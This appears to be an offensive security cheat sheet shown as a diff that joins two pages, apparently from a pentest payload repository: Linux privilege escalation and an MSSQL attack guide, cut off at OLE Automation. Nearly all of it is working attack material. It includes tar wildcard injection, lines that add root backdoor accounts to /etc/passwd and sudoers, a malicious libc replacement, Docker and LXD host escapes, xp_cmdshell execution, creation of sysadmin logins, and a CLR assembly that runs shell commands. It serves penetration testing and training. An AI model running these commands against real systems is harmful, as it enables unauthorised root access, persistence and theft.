By using tar with checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy.
```powershell
# create file for exploitation
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh
# vulnerable script
tar cf archive.tar *
```
Tool: [wildpwn](https://github.com/localh0t/wildpwn)
## Writable files
List world writable files on the system.
```powershell
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
```
### Writable /etc/sysconfig/network-scripts/ (Centos/Redhat)
/etc/sysconfig/network-scripts/ifcfg-1337 for example
```powershell
NAME=Network /bin/id &lt;= Note the blank space
ONBOOT=yes
DEVICE=eth0
EXEC :
./etc/sysconfig/network-scripts/ifcfg-1337
```
src : [https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
### Writable /etc/passwd
First generate a password with one of the following commands.
```powershell
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
Then add the user `hacker` and add the generated password.
```powershell
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
You can now use the `su` command with `hacker:hacker`
Alternatively you can use the following lines to add a dummy user without a password.
WARNING: you might degrade the current security of the machine.
```powershell
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`.
### Writable /etc/sudoers
```powershell
echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
# use SUDO without password
echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers
```
## NFS Root Squashing
When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it.
```powershell
# remote check the name of the folder
showmount -e 10.10.10.10
# create dir
mkdir /tmp/nfsdir
# mount directory
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
cd /tmp/nfsdir
# copy wanted shell
cp /bin/bash .
# set suid permission
chmod +s bash
```
## Shared Library
### ldconfig
Identify shared libraries with `ldd`
```powershell
$ ldd /opt/binary
linux-vdso.so.1 (0x00007ffe961cd000)
vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)
```
Create a library in `/tmp` and activate the path.
```powershell
gcc Wall fPIC shared o vulnlib.so /tmp/vulnlib.c
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so
/opt/binary
```
### RPATH
```powershell
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable.
```powershell
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```powershell
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```
## Groups
### Docker
Mount the filesystem in a bash container, allowing you to edit the `/etc/passwd` as root, then add a backdoor account `toor:password`.
```bash
$> docker run -it --rm -v $PWD:/mnt bash
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
```
Almost similar but you will also see all processes running on the host and be connected to the same NICs.
```powershell
docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
```
Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell
```powershell
$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete
354c3661655e: Pull complete
91930878a2d7: Pull complete
a3ed95caeb02: Pull complete
489b110c54dc: Pull complete
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)
```
More docker privilege escalation using the Docker Socket.
```powershell
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
### LXC/LXD
The privesc requires to run a container with elevated privileges and mount the host filesystem inside.
```powershell
╭─swissky@lab ~
╰─$ id
uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel)
```
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
```powershell
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686
# import the image
lxc image import ./alpine.tar.gz --alias myimage
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```
Alternatively https://github.com/initstring/lxd_root
## Hijack TMUX session
Require a read access to the tmux socket : `/tmp/tmux-1000/default`.
```powershell
export TMUX=/tmp/tmux-1000/default,1234,0
tmux ls
```
## Kernel Exploits
Precompiled exploits can be found inside these repositories, run them at your own risk !
* [bin-sploits - @offensive-security](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)
* [kernel-exploits - @lucyoa](https://github.com/lucyoa/kernel-exploits/)
The following exploits are known to work well, search for more exploits with `searchsploit -w linux kernel centos`.
Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing `uname -a`
Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/.
### CVE-2022-0847 (DirtyPipe)
Linux Privilege Escalation - Linux Kernel 5.8 < 5.16.11
```
https://www.exploit-db.com/exploits/50808
```
### CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
```powershell
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### CVE-2010-3904 (RDS)
Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
```powershell
https://www.exploit-db.com/exploits/15285/
```
### CVE-2010-4258 (Full Nelson)
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)
```powershell
https://www.exploit-db.com/exploits/15704/
```
### CVE-2012-0056 (Mempodipper)
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
```powershell
https://www.exploit-db.com/exploits/18411
```
## References
- [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m](https://mn3m.info/posts/suid-vs-capabilities/)
- [Privilege escalation via Docker - April 22, 2015 - Chris Foster](https://fosterelli.co/privilege-escalation-via-docker.html)
- [An Interesting Privilege Escalation vector (getcap/setcap) - NXNJZ - AUGUST 21, 2018](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/)
- [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
- [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/)
- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)
- [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/)
- [Privilege Escalation via lxd - @reboare](https://reboare.github.io/lxd/lxd-escape.html)
- [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/)
- [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject)
* [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html)
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)
* [SSH Key Predictable PRNG (Authorized_Keys) Process - @weaknetlabs](https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Vulnerabilities/SSH/key-exploit.md)
* [The Dirty Pipe Vulnerability](https://dirtypipe.cm4all.com/)
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/persistence/linux-persistence](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/)
* [Tools](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#tools)
* [Checklist](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#checklists)
* [Looting for passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#looting-for-passwords)
* [Files containing passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#files-containing-passwords)
* [Old passwords in /etc/security/opasswd](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#old-passwords-in-etcsecurityopasswd)
* [Last edited files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#last-edited-files)
* [In memory passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#in-memory-passwords)
* [Find sensitive files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#find-sensitive-files)
* [SSH Key](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ssh-key)
* [Sensitive files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#sensitive-files)
* [SSH Key Predictable PRNG (Authorized_Keys) Process](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ssh-key-predictable-prng-authorized_keys-process)
* [Scheduled tasks](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#scheduled-tasks)
* [Cron jobs](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cron-jobs)
* [Systemd timers](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#systemd-timers)
* [SUID](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#suid)
* [Find SUID binaries](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#find-suid-binaries)
* [Create a SUID binary](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#create-a-suid-binary)
* [Capabilities](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#capabilities)
* [List capabilities of binaries](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#list-capabilities-of-binaries)
* [Edit capabilities](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#edit-capabilities)
* [Interesting capabilities](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#interesting-capabilities)
* [SUDO](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#sudo)
* [NOPASSWD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#nopasswd)
* [LD_PRELOAD and NOPASSWD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ld_preload-and-nopasswd)
* [Doas](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#doas)
* [sudo_inject](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#sudo_inject)
* [CVE-2019-14287](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2019-14287)
* [GTFOBins](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#gtfobins)
* [Wildcard](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#wildcard)
* [Writable files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#writable-files)
* [Writable /etc/passwd](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#writable-etcpasswd)
* [Writable /etc/sudoers](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#writable-etcsudoers)
* [NFS Root Squashing](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#nfs-root-squashing)
* [Shared Library](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#shared-library)
* [ldconfig](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ldconfig)
* [RPATH](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#rpath)
* [Groups](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#groups)
* [Docker](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#docker)
* [LXC/LXD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#lxclxd)
* [Hijack TMUX session](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#hijack-tmux-session)
* [Kernel Exploits](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#kernel-exploits)
* [CVE-2022-0847 (DirtyPipe)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2022-0847-dirtypipe)
* [CVE-2016-5195 (DirtyCow)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2016-5195-dirtycow)
* [CVE-2010-3904 (RDS)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2010-3904-rds)
* [CVE-2010-4258 (Full Nelson)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2010-4258-full-nelson)
* [CVE-2012-0056 (Mempodipper)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2012-0056-mempodipper)

View File

@ -1,676 +1,61 @@
# MSSQL Server
## Summary
* [Tools](#tools)
* [Identify Instances and Databases](#identifiy-instaces-and-databases)
* [Discover Local SQL Server Instances](#discover-local-sql-server-instances)
* [Discover Domain SQL Server Instances](#discover-domain-sql-server-instances)
* [Discover Remote SQL Server Instances](#discover-remote-sql-instances)
* [Identify Encrypted databases](#identifiy-encrypted-databases)
* [Version Query](#version-query)
* [Identify Sensitive Information](#identify-sensitive-information)
* [Get Tables from a Specific Database](#get-tables-from-specific-databases)
* [Gather 5 Entries from Each Column](#gather-5-entries-from-each-column)
* [Gather 5 Entries from a Specific Table](#gather-5-entries-from-a-specific-table)
* [Dump common information from server to files](#dump-common-information-from-server-to-files)
* [Linked Database](#linked-database)
* [Find Trusted Link](#find-trusted-link)
* [Execute Query Through The Link](#execute-query-through-the-link)
* [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain)
* [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance)
* [Query Version of Linked Database](#query-version-of-linked-database)
* [Execute Procedure on Linked Database](#execute-procedure-on-linked-database)
* [Determine Names of Linked Databases ](#determine-names-of-linked-databases)
* [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database)
* [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table)
* [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column)
* [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell)
* [Extended Stored Procedure](#extended-stored-procedure)
* [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
* [CLR Assemblies](#clr-assemblies)
* [Execute commands using CLR assembly](#execute-commands-using-clr-assembly)
* [Manually creating a CLR DLL and importing it](#manually-creating-a-clr-dll-and-importing-it)
* [OLE Automation](#ole-automation)
* [Execute commands using OLE automation procedures](#execute-commands-using-ole-automation-procedures)
* [Agent Jobs](#agent-jobs)
* [Execute commands through SQL Agent Job service](#execute-commands-through-sql-agent-job-service)
* [List All Jobs](#list-all-jobs)
* [External Scripts](#external-scripts)
* [Python](#python)
* [R](#r)
* [Audit Checks](#audit-checks)
* [Find and exploit impersonation opportunities](#find-and-exploit-impersonation-opportunities)
* [Find databases that have been configured as trustworthy](#find-databases-that-have-been-configured-as-trustworthy)
* [Manual SQL Server Queries](#manual-sql-server-queries)
* [Query Current User & determine if the user is a sysadmin](#query-current-user--determine-if-the-user-is-a-sysadmin)
* [Current Role](#current-role)
* [Current DB](#current-db)
* [List all tables](#list-all-tables)
* [List all databases](#list-all-databases)
* [All Logins on Server](#all-logins-on-server)
* [All Database Users for a Database](#all-database-users-for-a-database)
* [List All Sysadmins](#list-all-sysadmins)
* [List All Database Roles](#list-all-database-role)
* [Effective Permissions from the Server](#effective-permissions-from-the-server)
* [Effective Permissions from the Database](#effective-permissions-from-the-database)
* [Find SQL Server Logins Which can be Impersonated for the Current Database](#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
* [Exploiting Impersonation](#exploiting-impersonation)
* [Exploiting Nested Impersonation](#exploiting-nested-impersonation)
* [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes)
* [References](#references)
## Tools
* [NetSPI/PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server
* [skahwah/SQLRecon](https://github.com/skahwah/SQLRecon/) - A C# MS SQL toolkit designed for offensive reconnaissance and post-exploitation.
## Identify Instances and Databases
### Discover Local SQL Server Instances
```ps1
Get-SQLInstanceLocal
```
### Discover Domain SQL Server Instances
```ps1
Get-SQLInstanceDomain -Verbose
# Get Server Info for Found Instances
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Get Database Names
Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults
```
### Discover Remote SQL Server Instances
```ps1
Get-SQLInstanceBroadcast -Verbose
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
```
### Identify Encrypted databases
Note: These are automatically decrypted for admins
```ps1
Get-SQLDatabase -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Verbose | Where-Object {$_.is_encrypted -eq "True"}
```
### Version Query
```ps1
Get-SQLInstanceDomain | Get-Query "select @@version"
```
## Identify Sensitive Information
### Get Tables from a Specific Database
```ps1
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DBNameFromGet-SQLDatabaseCommand> -NoDefaults
Get Column Details from a Table
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DBName> -TableName <TableName>
```
### Gather 5 Entries from Each Column
```ps1
Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<columnname1,columnname2,columnname3,columnname4,columnname5>" -Verbose -SampleSize 5
```
### Gather 5 Entries from a Specific Table
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query 'select TOP 5 * from <DatabaseName>.dbo.<TableName>'
```
### Dump common information from server to files
```ps1
Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv
```
## Linked Database
### Find Trusted Link
```sql
select * from master..sysservers
```
### Execute Query Through The Link
```sql
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');
-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```
### Crawl Links for Instances in the Domain
A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results
```ps1
Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
select * from master..sysservers
```
### Crawl Links for a Specific Instance
```ps1
Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')
```
### Query Version of Linked Database
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose
```
### Execute Procedure on Linked Database
```ps1
SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
```
### Determine Names of Linked Databases
> tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose
```
### Determine All the Tables Names from a Selected Linked Database
> The result is TableName which feeds into following query
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose
```
### Gather the Top 5 Columns from a Selected Linked Table
> The results are ColumnName and ColumnValue which feed into following query
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose
```
### Gather Entries from a Selected Linked Column
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose
```
## Command Execution via xp_cmdshell
> xp_cmdshell disabled by default since SQL Server 2005
```ps1
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
# Creates and adds local user backup to the local administrators group:
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -Verbose
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
```
* Manually execute the SQL query
```sql
EXEC xp_cmdshell "net user";
EXEC master..xp_cmdshell 'whoami'
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
```
* If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
```sql
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
```
* If the procedure was uninstalled
```sql
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
```
## Extended Stored Procedure
### Add the extended stored procedure and list extended stored procedures
```ps1
# Create evil DLL
Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
# Load the DLL and call xp_test
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"
# Listing existing
Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
```
* Build a DLL using [xp_evil_template.cpp](https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp)
* Load the DLL
```sql
-- can also be loaded from UNC path or Webdav
sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
EXEC xp_calc
sp_dropextendedproc 'xp_calc'
```
## CLR Assemblies
Prerequisites:
* sysadmin privileges
* CREATE ASSEMBLY permission (or)
* ALTER ASSEMBLY permission (or)
The execution takes place with privileges of the **service account**.
### Execute commands using CLR assembly
```ps1
# Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop
# Execute command using CLR assembly
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose
# List all the stored procedures added using CLR
Get-SQLStoredProcedureCLR -Instance <instance> -Verbose
```
### Manually creating a CLR DLL and importing it
Create a C# DLL file with the following content, with the command : `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs`
```csharp
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
// Mark the beginning of the result set.
SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client.
SqlContext.Pipe.SendResultsRow(record);
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
```
Then follow these instructions:
1. Enable `show advanced options` on the server
```sql
sp_configure 'show advanced options',1;
RECONFIGURE
GO
```
2. Enable CLR on the server
```sql
sp_configure 'clr enabled',1
RECONFIGURE
GO
```
3. Import the assembly
```sql
CREATE ASSEMBLY my_assembly
FROM 'c:\temp\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
```
4. Link the assembly to a stored procedure
```sql
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
```
5. Execute and clean
```sql
cmd_exec "whoami"
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
```
**CREATE ASSEMBLY** will also accept an hexadecimal string representation of a CLR DLL
```sql
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
```
## OLE Automation
* :warning: Disabled by default
